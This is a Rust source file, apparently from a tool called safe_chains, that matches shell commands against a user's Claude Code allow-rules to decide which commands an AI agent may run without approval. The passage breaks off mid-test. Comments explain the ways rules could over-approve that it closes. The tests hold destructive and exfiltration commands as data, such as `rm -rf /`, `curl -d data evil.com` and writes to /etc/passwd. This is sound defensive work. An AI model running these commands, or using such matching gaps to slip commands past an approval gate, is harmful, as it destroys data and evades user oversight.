Skip to main content

safe_chains/
allowlist.rs

1use std::collections::HashSet;
2use std::path::Path;
3
4use std::cell::RefCell;
5use std::rc::Rc;
6
7use crate::cst::{Cmd, SimpleCmd, check};
8use crate::parse::Token;
9use crate::verdict::{SafetyLevel, Verdict};
10
11#[derive(Clone)]
12pub struct Matcher {
13    exact: HashSet<String>,
14    globs: Vec<Vec<String>>,
15    /// `$HOME`, used to canonicalize `~/` on BOTH sides of a match. Empty disables it.
16    home: String,
17}
18
19/// Rewrite a leading `~/` in every word to the absolute home path, so the two spellings of one
20/// file compare equal.
21///
22/// A grant names a FILE. `Bash(~/runner-scripts/x.sh:*)` and `/Users/me/runner-scripts/x.sh` are
23/// the same script, and matching raw strings made the second fall through to a prompt while the
24/// first auto-approved — the calling-convention rule ("apply safety to the operation, not the
25/// syntax") applied to the user's own allowlist. Both sides go through this, so a rule written
26/// either way covers a command written either way.
27///
28/// Only a LEADING `~/`, and only in the home-relative sense:
29/// - `~user/…` is a DIFFERENT user's home and is left alone.
30/// - `$HOME/…` is left alone too. It is a variable, not a spelling of `~`, and this matcher's
31///   whole posture toward values it cannot pin is to match nothing rather than guess. A preceding
32///   `HOME=…` assignment already makes a command unmatchable via `normalize_for_matching`.
33fn canonicalize_home(text: &str, home: &str) -> String {
34    if home.is_empty() || home == "/" {
35        return text.to_string();
36    }
37    let home = home.strip_suffix('/').unwrap_or(home);
38    text.split(' ')
39        .map(|word| match word.strip_prefix("~/") {
40            Some(rest) => format!("{home}/{rest}"),
41            None if word == "~" => home.to_string(),
42            None => word.to_string(),
43        })
44        .collect::<Vec<_>>()
45        .join(" ")
46}
47
48/// `$HOME` for `~/.claude/settings.json`. Tests read the harness root, never the ambient home
49/// and never `XDG_CONFIG_HOME`.
50fn settings_home() -> Option<std::path::PathBuf> {
51    #[cfg(test)]
52    {
53        Some(crate::registry::custom::config_home())
54    }
55    #[cfg(not(test))]
56    std::env::var_os("HOME").map(std::path::PathBuf::from)
57}
58
59impl Matcher {
60    /// Load allowlist patterns from trusted home config only
61    /// (`~/.claude/settings.json`). A project's `.claude/settings.json` is
62    /// intentionally not read: it lives in the working tree the agent edits, and
63    /// the harness applies its own project settings directly. See
64    /// `docs/design/trusted-customization.md`.
65    pub fn load() -> Self {
66        // Claude's OWN permission file, so it counts only when Claude is the harness being served.
67        // Loaded unconditionally, it granted commands under Codex and every other target — see
68        // `crate::trust_claude_config`. The same switch that skips every other local file skips
69        // this one: with it set there is nothing to honour.
70        if std::env::var_os("SAFE_CHAINS_NO_LOCAL").is_some() {
71            return Matcher { exact: HashSet::new(), globs: Vec::new(), home: String::new() };
72        }
73        match settings_home().filter(|_| crate::claude_config_trusted()) {
74            Some(home) => Self::load_from_home(&home),
75            None => Matcher { exact: HashSet::new(), globs: Vec::new(), home: String::new() },
76        }
77    }
78
79    fn load_from_home(home: &Path) -> Self {
80        let mut patterns = Matcher { exact: HashSet::new(), globs: Vec::new(), home: home.to_string_lossy().into_owned() };
81        patterns.load_file(&home.join(".claude/settings.json"));
82        patterns
83    }
84
85    fn load_file(&mut self, path: &Path) {
86        let Ok(contents) = std::fs::read_to_string(path) else {
87            return;
88        };
89        let Ok(value) = serde_json::from_str::<serde_json::Value>(&contents) else {
90            return;
91        };
92
93        if let Some(arr) = value.get("approved_commands").and_then(|v| v.as_array()) {
94            for entry in arr.iter().filter_map(|e| e.as_str()) {
95                self.add_pattern(entry);
96            }
97        }
98
99        if let Some(arr) = value.get("permissions").and_then(|v| v.get("allow")).and_then(|v| v.as_array()) {
100            for entry in arr.iter().filter_map(|e| e.as_str()) {
101                self.add_pattern(entry);
102            }
103        }
104    }
105
106    fn add_pattern(&mut self, entry: &str) {
107        let Some(inner) = entry.strip_prefix("Bash(").and_then(|s| s.strip_suffix(')')) else {
108            return;
109        };
110        if inner.is_empty() {
111            return;
112        }
113        let normalized = if let Some(prefix) = inner.strip_suffix(":*") { format!("{prefix} *") } else { inner.to_string() };
114        let normalized = canonicalize_home(&normalized, &self.home);
115        if normalized.contains('*') {
116            self.globs.push(normalized.split('*').map(String::from).collect());
117        } else {
118            self.exact.insert(normalized);
119        }
120    }
121
122    pub fn matches_cmd(&self, cmd: &Cmd) -> bool {
123        matches!(cmd, Cmd::Simple(simple) if self.matches(simple))
124    }
125
126    /// A rule covers a call only to the program it names: never one an earlier definition rebound
127    /// (`mkdir(){ rm -rf ~; }; mkdir x`), and never one carrying a substitution or a redirect the
128    /// built-in rules refuse, which run or write something the rule does not describe.
129    fn covers(&self, cmd: &SimpleCmd) -> bool {
130        cmd.words.first().is_some_and(|name| !check::names_a_function(&name.eval())) && !check::has_unsafe_syntax(cmd) && self.matches(cmd)
131    }
132
133    fn matches(&self, simple: &SimpleCmd) -> bool {
134        // `None` = no unambiguous rendering (an env value with whitespace); such a command matches
135        // no rule, rather than matching one it could be confused with.
136        let Some(normalized) = normalize_for_matching(simple) else {
137            return false;
138        };
139        let normalized = canonicalize_home(normalized.trim(), &self.home);
140        let normalized = normalized.as_str();
141        if normalized.is_empty() {
142            return false;
143        }
144        if self.exact.contains(normalized) {
145            return true;
146        }
147        self.globs.iter().any(|parts| glob_matches(parts, normalized))
148    }
149
150    pub fn is_empty(&self) -> bool {
151        self.exact.is_empty() && self.globs.is_empty()
152    }
153
154    #[cfg(test)]
155    pub(crate) fn from_allow_patterns(patterns: &[&str]) -> Self {
156        let mut m = Matcher { exact: HashSet::new(), globs: Vec::new(), home: TEST_HOME.to_string() };
157        for p in patterns {
158            m.add_pattern(&format!("Bash({p})"));
159        }
160        m
161    }
162}
163
164/// A fixed home for tests, so `~` canonicalization is exercised rather than skipped.
165#[cfg(test)]
166const TEST_HOME: &str = "/home/tester";
167
168pub fn is_cmd_covered(cmd: &Cmd, patterns: &Matcher) -> bool {
169    let _rules = in_force(patterns);
170    check::is_safe_cmd(cmd)
171}
172
173thread_local! {
174    /// The user's rules while a command they may cover is judged. Held for the whole judgement, so a
175    /// rule reaches each simple command where the shell runs it: inside a group, a loop, a branch or a
176    /// called function, with the `cd`, variables and definitions of the statements before it in scope.
177    static IN_FORCE: RefCell<Option<Rc<Matcher>>> = const { RefCell::new(None) };
178}
179
180pub(crate) struct RulesScope(Option<Rc<Matcher>>);
181
182impl Drop for RulesScope {
183    fn drop(&mut self) {
184        let previous = self.0.take();
185        IN_FORCE.with(|rules| *rules.borrow_mut() = previous);
186    }
187}
188
189fn install(rules: Option<Rc<Matcher>>) -> RulesScope {
190    RulesScope(IN_FORCE.with(|current| current.replace(rules)))
191}
192
193pub(crate) fn in_force(patterns: &Matcher) -> RulesScope {
194    install(Some(Rc::new(patterns.clone())))
195}
196
197/// No rule applies to a command handed to another program as a string (`bash -c`, `find -exec`), or
198/// to the probes a handler builds to ask about a shape. The user's rule names a command they type,
199/// and Claude Code's own matcher never looks inside those either.
200pub(crate) fn suspended() -> RulesScope {
201    install(None)
202}
203
204/// Judges a command substitution with no rule in force. Its output becomes words of the command
205/// around it, and a rule names the command it covers, not what another command's words come from:
206/// `Bash(*)` never covered `echo $(rm -rf /)`.
207pub(crate) fn outside_rules<T>(judge: impl FnOnce() -> T) -> T {
208    let _rules = suspended();
209    judge()
210}
211
212/// A simple command's verdict, lifted to `SafeWrite` when a rule in force covers what built-in
213/// knowledge refused.
214///
215/// `SafeWrite`, the TOP of the auto-approve band — not `Inert`. A `permissions.allow` rule says the
216/// user accepts this command. It does NOT say the command is inert, and claiming so was a lie with
217/// teeth: `Inert` is the bottom of the ordering, so it cleared every threshold and a `Bash(rm:*)`
218/// rule out-ranked even `--level paranoid`. Granting at the band's top keeps the rule honoured
219/// wherever the band is while letting a stricter level clamp it.
220pub(crate) fn with_rules(cmd: &SimpleCmd, builtin: impl FnOnce(&SimpleCmd) -> Verdict) -> Verdict {
221    let verdict = builtin(cmd);
222    // Cloned out first: rendering the command can classify again, and that installs rules of its own.
223    if verdict.is_allowed() || !IN_FORCE.with(|rules| rules.borrow().clone()).is_some_and(|rules| rules.covers(cmd)) {
224        return verdict;
225    }
226    // A rule names a command. It does not name a place: a path gate (a foreign folder included)
227    // still asks, and so does a run that has local config switched off.
228    if local_config_off() || path_gate_denies(cmd) {
229        return verdict;
230    }
231    Verdict::Allowed(SafetyLevel::SafeWrite)
232}
233
234fn local_config_off() -> bool {
235    std::env::var_os("SAFE_CHAINS_NO_LOCAL").is_some()
236}
237
238/// Whether the path gate would refuse this command, under the same names the leaf classifiers use.
239fn path_gate_denies(cmd: &SimpleCmd) -> bool {
240    let tokens: Vec<Token> = cmd.words.iter().flat_map(|word| word.expand().into_iter().map(Token::from_raw)).collect();
241    let Some(first) = tokens.first() else {
242        return false;
243    };
244    let basename = crate::registry::canonical_name(first.command_name());
245    if crate::pathgate::should_deny(basename, &tokens) {
246        return true;
247    }
248    let spelled = crate::engine::resolve::dispatch_name(first);
249    spelled != first.command_name() && crate::pathgate::should_deny(crate::registry::canonical_name(spelled), &tokens)
250}
251
252/// A command rendered for comparison against the user's own `Bash(...)` allow-rules.
253///
254/// Includes the LEADING ENV ASSIGNMENTS. Dropping them meant a rule written for one command
255/// silently covered a different one: `Bash(~/runner-scripts/x.sh:*)` matched
256/// `WRITE=1 ~/runner-scripts/x.sh`, so a rule intended for a dry run pre-approved the mutating run.
257/// The user had even written separate `Bash(WRITE=1 …)` entries — necessary at the harness's own
258/// matcher, and quietly redundant here.
259///
260/// The rule must describe the command as TYPED. That is not a judgement about which variable names
261/// are dangerous (nothing here knows `LD_PRELOAD` from `NODE_ENV`) — it is only the requirement that
262/// an allow-rule cover what it claims to. A command carrying an assignment therefore matches only a
263/// rule that carries it too, and otherwise falls through to the harness's normal approval flow.
264///
265/// This is the USER-ALLOWLIST path alone. safe-chains' own knowledge of a command is consulted
266/// first and short-circuits before reaching here, so `LD_PRELOAD=… ls` is unaffected — see
267/// `docs/design/env-prefix-classification.md` for that separate, unfixed hole.
268/// `None` when the command cannot be rendered UNAMBIGUOUSLY, which callers must treat as "matches
269/// nothing".
270///
271/// An env value containing whitespace has no unambiguous flat rendering: `WRITE='1 script.sh' rm
272/// -rf /` and `WRITE=1 script.sh rm -rf /` produce the same string, but the first runs `rm` and the
273/// second runs `script.sh`. Since assignments sit BEFORE the program name, a value that swallows
274/// the rest of a pattern lets a rule for one program match a different one —
275/// `Bash(WRITE=1 script.sh:*)` would match `WRITE='1 script.sh' rm -rf /`. Refusing to render is the
276/// only honest answer; the alternative is a rule that silently covers a program it never named.
277///
278/// Words with whitespace are NOT refused: `git commit -m 'a message'` is ordinary and a rule like
279/// `Bash(git commit -m:*)` should keep covering it. A quoted word can shift an argument boundary,
280/// which is a pre-existing looseness of this matcher, but it cannot change which program runs —
281/// the program is the first word either way.
282fn normalize_for_matching(cmd: &SimpleCmd) -> Option<String> {
283    let mut parts = Vec::with_capacity(cmd.env.len() + cmd.words.len());
284    for (name, value) in &cmd.env {
285        let value = value.eval();
286        if value.chars().any(char::is_whitespace) {
287            return None;
288        }
289        parts.push(format!("{name}={value}"));
290    }
291    parts.extend(cmd.words.iter().map(|w| w.eval()));
292    Some(parts.join(" "))
293}
294
295fn glob_matches(parts: &[String], text: &str) -> bool {
296    let first = &parts[0];
297    let last = &parts[parts.len() - 1];
298
299    if parts.len() == 2 && last.is_empty() && first.ends_with(' ') {
300        let prefix = &first[..first.len() - 1];
301        return text == prefix || text.starts_with(first.as_str());
302    }
303
304    if !text.starts_with(first.as_str()) {
305        return false;
306    }
307    if !text.ends_with(last.as_str()) {
308        return false;
309    }
310    let mut pos = first.len();
311    let end = text.len() - last.len();
312    if pos > end {
313        return false;
314    }
315    for part in &parts[1..parts.len() - 1] {
316        match text[pos..end].find(part.as_str()) {
317            Some(idx) => pos += idx + part.len(),
318            None => return false,
319        }
320    }
321    pos <= end
322}
323
324#[cfg(test)]
325mod tests {
326    use super::*;
327    use std::fs;
328
329    use crate::cst;
330
331    fn empty() -> Matcher {
332        Matcher { exact: HashSet::new(), globs: Vec::new(), home: TEST_HOME.to_string() }
333    }
334
335    fn cmd(s: &str) -> Cmd {
336        let script = cst::parse(s).unwrap_or_else(|| panic!("failed to parse: {s}"));
337        assert_eq!(script.0.len(), 1, "expected single statement: {s}");
338        assert_eq!(script.0[0].pipeline.commands.len(), 1, "expected single command: {s}");
339        script.0[0].pipeline.commands[0].clone()
340    }
341
342    fn segments(command: &str) -> Vec<Cmd> {
343        let script = cst::parse(command).unwrap_or_else(|| panic!("failed to parse: {command}"));
344        script.0.into_iter().flat_map(|stmt| stmt.pipeline.commands).collect()
345    }
346
347    fn is_covered(cmd: &Cmd, patterns: &Matcher) -> bool {
348        is_cmd_covered(cmd, patterns)
349    }
350
351    fn all_covered(command: &str, patterns: &Matcher) -> bool {
352        let Some(script) = cst::parse(command) else {
353            return false;
354        };
355        script
356            .0
357            .iter()
358            .all(|stmt| check::is_safe_pipeline(&stmt.pipeline) || stmt.pipeline.commands.iter().all(|c| is_cmd_covered(c, patterns)))
359    }
360
361    #[test]
362    fn parse_exact_pattern() {
363        let mut p = empty();
364        p.add_pattern("Bash(npm test)");
365        assert!(p.exact.contains("npm test"));
366        assert!(p.globs.is_empty());
367        assert!(!p.is_empty(), "an exact pattern alone makes the matcher non-empty");
368    }
369
370    #[test]
371    fn parse_legacy_colon_star() {
372        let mut p = empty();
373        p.add_pattern("Bash(npm run:*)");
374        assert!(p.exact.is_empty());
375        assert_eq!(p.globs.len(), 1);
376        assert!(!p.is_empty(), "a glob pattern alone makes the matcher non-empty");
377    }
378
379    #[test]
380    fn parse_space_star() {
381        let mut p = empty();
382        p.add_pattern("Bash(npm run *)");
383        assert!(p.exact.is_empty());
384        assert_eq!(p.globs.len(), 1);
385    }
386
387    #[test]
388    fn parse_non_bash_skipped() {
389        let mut p = empty();
390        p.add_pattern("WebFetch");
391        p.add_pattern("XcodeBuildMCP");
392        assert!(p.is_empty());
393    }
394
395    #[test]
396    fn parse_empty_bash_skipped() {
397        let mut p = empty();
398        p.add_pattern("Bash()");
399        assert!(p.is_empty());
400    }
401
402    #[test]
403    fn match_exact() {
404        let mut p = empty();
405        p.add_pattern("Bash(npm test)");
406        assert!(p.matches_cmd(&cmd("npm test")));
407        assert!(!p.matches_cmd(&cmd("npm test --watch")));
408    }
409
410    #[test]
411    fn match_space_star_word_boundary() {
412        let mut p = empty();
413        p.add_pattern("Bash(ls *)");
414        assert!(p.matches_cmd(&cmd("ls -la")));
415        assert!(p.matches_cmd(&cmd("ls foo")));
416        assert!(!p.matches_cmd(&cmd("lsof")));
417    }
418
419    #[test]
420    fn match_star_no_space_no_boundary() {
421        let mut p = empty();
422        p.add_pattern("Bash(ls*)");
423        assert!(p.matches_cmd(&cmd("ls -la")));
424        assert!(p.matches_cmd(&cmd("lsof")));
425    }
426
427    #[test]
428    fn match_legacy_colon_star_word_boundary() {
429        let mut p = empty();
430        p.add_pattern("Bash(npm run:*)");
431        assert!(p.matches_cmd(&cmd("npm run build")));
432        assert!(p.matches_cmd(&cmd("npm run test")));
433        assert!(!p.matches_cmd(&cmd("npm running")));
434        assert!(!p.matches_cmd(&cmd("npm install")));
435    }
436
437    #[test]
438    fn match_star_at_beginning() {
439        let mut p = empty();
440        p.add_pattern("Bash(* --version)");
441        assert!(p.matches_cmd(&cmd("npm --version")));
442        assert!(p.matches_cmd(&cmd("cargo --version")));
443        assert!(!p.matches_cmd(&cmd("npm --help")));
444    }
445
446    #[test]
447    fn match_star_in_middle() {
448        let mut p = empty();
449        p.add_pattern("Bash(git * main)");
450        assert!(p.matches_cmd(&cmd("git checkout main")));
451        assert!(p.matches_cmd(&cmd("git merge main")));
452        assert!(!p.matches_cmd(&cmd("git checkout develop")));
453    }
454
455    /// REVERSED (2026-07-26). This previously asserted that the env prefix was STRIPPED, so
456    /// `Bash(bundle install)` also covered `RACK_ENV=test bundle install`. Convenient, but it means
457    /// a rule cannot distinguish forms the user needs distinguished: the same stripping made
458    /// `Bash(~/runner-scripts/x.sh:*)` cover `WRITE=1 ~/runner-scripts/x.sh`, pre-approving a
459    /// mutating run from a rule written for a dry one — and safe-chains answered `allow`, so the
460    /// harness never got to ask.
461    ///
462    /// The convenience is not lost: `RACK_ENV=test bundle install` still auto-approves, because
463    /// safe-chains knows `bundle install` on its own terms and never consults the user's rules for
464    /// it. What changed is only what a USER-WRITTEN rule covers, and now it covers what it says.
465    ///
466    /// Contrast `match_fd_redirect_stripped` below, which still strips: `2>&1` cannot change which
467    /// program runs or with what, so it does not make the invocation a different command.
468    #[test]
469    fn match_env_prefix_is_not_stripped() {
470        let mut p = empty();
471        p.add_pattern("Bash(bundle install)");
472        assert!(!p.matches_cmd(&cmd("RACK_ENV=test bundle install")));
473        assert!(p.matches_cmd(&cmd("bundle install")));
474
475        let mut q = empty();
476        q.add_pattern("Bash(RACK_ENV=test bundle install)");
477        assert!(q.matches_cmd(&cmd("RACK_ENV=test bundle install")));
478    }
479
480    #[test]
481    fn match_fd_redirect_stripped() {
482        let mut p = empty();
483        p.add_pattern("Bash(npm test)");
484        assert!(p.matches_cmd(&cmd("npm test 2>&1")));
485    }
486
487    #[test]
488    fn match_fd_redirect_with_glob() {
489        let mut p = empty();
490        p.add_pattern("Bash(npm run *)");
491        assert!(p.matches_cmd(&cmd("npm run test 2>&1")));
492    }
493
494    #[test]
495    fn empty_patterns_match_nothing() {
496        let p = empty();
497        assert!(!p.matches_cmd(&cmd("anything")));
498    }
499
500    #[test]
501    fn match_bare_star_matches_everything() {
502        let mut p = empty();
503        p.add_pattern("Bash(*)");
504        assert!(p.matches_cmd(&cmd("anything at all")));
505        assert!(p.matches_cmd(&cmd("rm -rf /")));
506    }
507
508    #[test]
509    fn unsafe_syntax_not_bypassed_by_match() {
510        let mut p = empty();
511        p.add_pattern("Bash(./script.sh *)");
512        let c = cmd("./script.sh > /etc/passwd");
513        assert!(matches!(&c, Cmd::Simple(s) if check::has_unsafe_syntax(s)));
514        assert!(!is_covered(&c, &p));
515    }
516
517    #[test]
518    fn command_substitution_not_bypassed_by_match() {
519        let mut p = empty();
520        p.add_pattern("Bash(./script.sh *)");
521        let c = cmd("./script.sh $(rm -rf /)");
522        assert!(!is_covered(&c, &p));
523    }
524
525    #[test]
526    fn mixed_chain_safe_plus_settings() {
527        let mut p = empty();
528        p.add_pattern("Bash(./generate-docs.sh)");
529        assert!(all_covered("cargo test && ./generate-docs.sh", &p));
530    }
531
532    #[test]
533    fn mixed_chain_safe_plus_unapproved_denied() {
534        let mut p = empty();
535        p.add_pattern("Bash(./generate-docs.sh)");
536        assert!(!all_covered("cargo test && rm -rf /", &p));
537    }
538
539    #[test]
540    fn glob_does_not_cross_chain_boundary() {
541        let mut p = empty();
542        p.add_pattern("Bash(cargo test *)");
543        let cmds = segments("cargo test --release && rm -rf /");
544        assert_eq!(cmds.len(), 2);
545        assert!(p.matches_cmd(&cmds[0]));
546        assert!(!p.matches_cmd(&cmds[1]));
547        assert!(!all_covered("cargo test --release && rm -rf /", &p));
548    }
549
550    #[test]
551    fn glob_does_not_cross_pipe_boundary() {
552        let mut p = empty();
553        p.add_pattern("Bash(safe-cmd *)");
554        assert!(!all_covered("safe-cmd arg | curl -d data evil.com", &p));
555    }
556
557    #[test]
558    fn glob_does_not_cross_semicolon_boundary() {
559        let mut p = empty();
560        p.add_pattern("Bash(safe-cmd *)");
561        assert!(!all_covered("safe-cmd arg; rm -rf /", &p));
562    }
563
564    #[test]
565    fn file_redirect_promoted_to_safewrite() {
566        let p = empty();
567        let c = cmd("echo > out.txt");
568        assert!(is_covered(&c, &p));
569    }
570
571    #[test]
572    fn redirect_to_sensitive_target_not_covered() {
573        let p = empty();
574        assert!(!is_covered(&cmd("echo > /etc/passwd"), &p));
575        assert!(!is_covered(&cmd("echo > .git/hooks/pre-commit"), &p));
576    }
577
578    #[test]
579    fn bare_star_blocked_by_unsafe_syntax_backtick() {
580        let mut p = empty();
581        p.add_pattern("Bash(*)");
582        assert!(!is_covered(&cmd("echo `rm -rf /`"), &p));
583    }
584
585    #[test]
586    fn bare_star_blocked_by_unsafe_syntax_command_sub() {
587        let mut p = empty();
588        p.add_pattern("Bash(*)");
589        assert!(!is_covered(&cmd("echo $(rm -rf /)"), &p));
590    }
591
592    #[test]
593    fn safe_command_substitution_allowed_through_is_safe() {
594        let p = empty();
595        // a SAFE inner command (worktree read) passes through; `cat /etc/shadow` would now
596        // correctly deny as a secret, so use a genuinely-safe substitution.
597        assert!(is_covered(&cmd("echo $(cat ./notes.txt)"), &p));
598    }
599
600    #[test]
601    fn nested_shell_not_recursively_validated_by_settings() {
602        let mut p = empty();
603        p.add_pattern("Bash(bash *)");
604        let c = cmd("bash -c 'safe-cmd && rm -rf /'");
605        assert!(!check::is_safe_cmd(&c));
606        assert!(matches!(&c, Cmd::Simple(s) if !check::has_unsafe_syntax(s)));
607        assert!(is_covered(&c, &p));
608    }
609
610    #[test]
611    fn nested_shell_redirect_promoted_to_safewrite() {
612        let p = empty();
613        let c = cmd("bash -c 'echo hello' > /tmp/out");
614        assert!(is_covered(&c, &p));
615    }
616
617    #[test]
618    fn quoted_operators_stay_as_one_segment() {
619        let mut p = empty();
620        p.add_pattern("Bash(./script *)");
621        assert!(all_covered("./script 'arg && rm -rf /'", &p));
622    }
623
624    /// `Matcher::load` reads `~/.claude/settings.json` from this directory once Claude's config is
625    /// trusted. It is the harness root, so deleting the test redirect makes the assertion compare
626    /// equal to `$HOME`.
627    #[test]
628    fn claude_settings_are_not_read_from_the_ambient_home() {
629        let home = settings_home().expect("a settings home");
630        let ambient = std::path::PathBuf::from(std::env::var_os("HOME").expect("HOME"));
631        assert_ne!(home, ambient, "Claude settings would be read from the ambient home");
632        if ambient.as_os_str() != "/" {
633            assert!(!home.starts_with(&ambient), "Claude settings would be read from inside the ambient home: {}", home.display());
634        }
635    }
636
637    #[test]
638    fn load_from_home_reads_home_settings() {
639        let home = tempfile::tempdir().unwrap();
640        let claude_dir = home.path().join(".claude");
641        fs::create_dir_all(&claude_dir).unwrap();
642        fs::write(claude_dir.join("settings.json"), r#"{"permissions":{"allow":["Bash(./generate-docs.sh:*)"]}}"#).unwrap();
643        let p = Matcher::load_from_home(home.path());
644        assert!(p.matches_cmd(&cmd("./generate-docs.sh")));
645        assert!(p.matches_cmd(&cmd("./generate-docs.sh --verbose")));
646        assert!(!p.matches_cmd(&cmd("./evil.sh")));
647    }
648
649    #[test]
650    fn load_from_home_ignores_project_settings() {
651        // A project's .claude/settings.json living next to home is never read:
652        // only ~/.claude/settings.json is. Here the project tree has an allow
653        // entry that must not take effect.
654        let home = tempfile::tempdir().unwrap();
655        let project = tempfile::tempdir().unwrap();
656        let project_claude = project.path().join(".claude");
657        fs::create_dir_all(&project_claude).unwrap();
658        fs::write(project_claude.join("settings.json"), r#"{"permissions":{"allow":["Bash(rm -rf *)"]}}"#).unwrap();
659        let p = Matcher::load_from_home(home.path());
660        assert!(!p.matches_cmd(&cmd("rm -rf /")));
661        assert!(p.is_empty());
662    }
663
664    #[test]
665    fn load_from_home_chains_with_builtins() {
666        let home = tempfile::tempdir().unwrap();
667        let claude_dir = home.path().join(".claude");
668        fs::create_dir_all(&claude_dir).unwrap();
669        fs::write(claude_dir.join("settings.json"), r#"{"permissions":{"allow":["Bash(./generate-docs.sh:*)"]}}"#).unwrap();
670        let p = Matcher::load_from_home(home.path());
671        assert!(all_covered("cargo test && ./generate-docs.sh", &p));
672        assert!(!all_covered("cargo test && ../evil.sh", &p));
673    }
674
675    #[test]
676    fn load_file_nonexistent() {
677        let mut p = empty();
678        p.load_file(Path::new("/nonexistent/path/settings.json"));
679        assert!(p.is_empty());
680    }
681
682    #[test]
683    fn load_file_malformed_json() {
684        let dir = tempfile::tempdir().unwrap();
685        let path = dir.path().join("settings.json");
686        std::fs::write(&path, "not json{{{").unwrap();
687        let mut p = empty();
688        p.load_file(&path);
689        assert!(p.is_empty());
690    }
691
692    #[test]
693    fn load_file_approved_commands() {
694        let dir = tempfile::tempdir().unwrap();
695        let path = dir.path().join("settings.json");
696        fs::write(&path, r#"{"approved_commands":["Bash(npm test)","Bash(npm run *)","WebFetch"]}"#).unwrap();
697        let mut p = empty();
698        p.load_file(&path);
699        assert!(p.matches_cmd(&cmd("npm test")));
700        assert!(p.matches_cmd(&cmd("npm run build")));
701        assert!(!p.matches_cmd(&cmd("curl evil.com")));
702    }
703
704    #[test]
705    fn load_file_permissions_allow() {
706        let dir = tempfile::tempdir().unwrap();
707        let path = dir.path().join("settings.json");
708        fs::write(&path, r#"{"permissions":{"allow":["Bash(cargo test *)","Bash(cargo clippy *)"]}}"#).unwrap();
709        let mut p = empty();
710        p.load_file(&path);
711        assert!(p.matches_cmd(&cmd("cargo test")));
712        assert!(p.matches_cmd(&cmd("cargo clippy -- -D warnings")));
713    }
714
715    #[test]
716    fn load_file_both_fields() {
717        let dir = tempfile::tempdir().unwrap();
718        let path = dir.path().join("settings.json");
719        fs::write(&path, r#"{"approved_commands":["Bash(npm test)"],"permissions":{"allow":["Bash(cargo test *)"]}}"#).unwrap();
720        let mut p = empty();
721        p.load_file(&path);
722        assert!(p.matches_cmd(&cmd("npm test")));
723        assert!(p.matches_cmd(&cmd("cargo test --release")));
724    }
725
726    /// `ab*ba` names text that starts with `ab` and ends with `ba` as two separate pieces, so
727    /// `aba`, where they overlap, is not one of its matches.
728    #[test]
729    fn a_glob_prefix_and_suffix_may_not_overlap() {
730        let parts = ["ab".to_string(), "ba".to_string()];
731        assert!(!glob_matches(&parts, "aba"));
732        assert!(glob_matches(&parts, "abba"));
733        let repeated = ["a".to_string(), "b".to_string(), "b".to_string(), "c".to_string()];
734        assert!(!glob_matches(&repeated, "abc"), "one `b` cannot stand for both middle pieces");
735        assert!(glob_matches(&repeated, "abbc"));
736    }
737
738    proptest::proptest! {
739        /// Every literal piece of a glob appears in a match in its own place, so a match is never
740        /// shorter than the pieces put together.
741        #[test]
742        fn a_glob_match_holds_every_piece(
743            parts in proptest::collection::vec("[ab]{1,3}", 2..6),
744            text in "[ab]{0,8}",
745        ) {
746            if glob_matches(&parts, &text) {
747                let pieces: usize = parts.iter().map(String::len).sum();
748                proptest::prop_assert!(text.len() >= pieces, "{parts:?} matched {text:?}");
749            }
750        }
751    }
752}
753
754/// An allow-rule must cover the command AS TYPED, including any leading `VAR=value`.
755///
756/// Dropping the assignments meant a rule written for one command silently covered a different one:
757/// `Bash(~/runner-scripts/x.sh:*)` matched `WRITE=1 ~/runner-scripts/x.sh`, so a rule intended for a
758/// dry run pre-approved the mutating run — and safe-chains emitted `permissionDecision: "allow"`,
759/// so the harness never got the chance to ask.
760///
761/// Note what is NOT claimed here: nothing distinguishes `WRITE` from `LD_PRELOAD` from `NODE_ENV`,
762/// and no environment variable is researched. The only rule is that a pattern matches what it
763/// describes. That keeps this independent of the (unscoped) env-classification work in
764/// `docs/design/env-prefix-classification.md`.
765#[cfg(test)]
766mod env_prefix_matching_tests {
767    use super::*;
768    use crate::cst;
769
770    fn cmd(s: &str) -> Cmd {
771        let script = cst::parse(s).unwrap_or_else(|| panic!("failed to parse: {s}"));
772        script.0[0].pipeline.commands[0].clone()
773    }
774
775    fn matcher(patterns: &[&str]) -> Matcher {
776        Matcher::from_allow_patterns(patterns)
777    }
778
779    #[test]
780    fn a_plain_command_still_matches_its_rule() {
781        let m = matcher(&["~/runner-scripts/x.sh:*"]);
782        assert!(m.matches_cmd(&cmd("~/runner-scripts/x.sh")));
783        assert!(m.matches_cmd(&cmd("~/runner-scripts/x.sh --dry-run")));
784    }
785
786    /// A grant names a FILE, so the two spellings of that file are one grant. Matching raw strings
787    /// meant `~/runner-scripts/x.sh` auto-approved while the byte-identical script spelled
788    /// absolutely fell through to a prompt.
789    #[test]
790    fn a_home_grant_covers_both_spellings_of_the_same_file() {
791        for rule in ["~/runner-scripts/x.sh:*", "/home/tester/runner-scripts/x.sh:*"] {
792            let m = matcher(&[rule]);
793            for c in [
794                "~/runner-scripts/x.sh", "/home/tester/runner-scripts/x.sh", "~/runner-scripts/x.sh --dry-run",
795                "/home/tester/runner-scripts/x.sh --dry-run",
796            ] {
797                assert!(m.matches_cmd(&cmd(c)), "rule `{rule}` missed: {c}");
798            }
799        }
800    }
801
802    /// Canonicalization applies to EVERY word, not just the command name — the granted script is an
803    /// argument in the interpreter forms (`osascript -l JavaScript ~/runner-scripts/x.js`).
804    #[test]
805    fn a_home_grant_covers_both_spellings_in_an_argument() {
806        let m = matcher(&["osascript -l JavaScript ~/runner-scripts/x.js:*"]);
807        assert!(m.matches_cmd(&cmd("osascript -l JavaScript ~/runner-scripts/x.js --p safe-chains")));
808        assert!(m.matches_cmd(&cmd("osascript -l JavaScript /home/tester/runner-scripts/x.js --p safe-chains")));
809    }
810
811    /// `~user/` is somebody ELSE's home. Expanding it would let a rule for the agent's own file
812    /// cover a path it never named.
813    #[test]
814    fn another_users_home_is_not_expanded() {
815        let m = matcher(&["~/runner-scripts/x.sh:*"]);
816        assert!(!m.matches_cmd(&cmd("~root/runner-scripts/x.sh")));
817        assert!(!m.matches_cmd(&cmd("~other/runner-scripts/x.sh")));
818    }
819
820    /// `$HOME/` is a variable, not a spelling of `~`. The matcher's posture toward a value it
821    /// cannot pin is to match nothing rather than assume.
822    #[test]
823    fn a_home_variable_is_not_expanded() {
824        let m = matcher(&["~/runner-scripts/x.sh:*"]);
825        assert!(!m.matches_cmd(&cmd("$HOME/runner-scripts/x.sh")));
826    }
827
828    #[test]
829    fn an_env_prefix_does_not_match_a_rule_without_one() {
830        let m = matcher(&["~/runner-scripts/x.sh:*"]);
831        for c in [
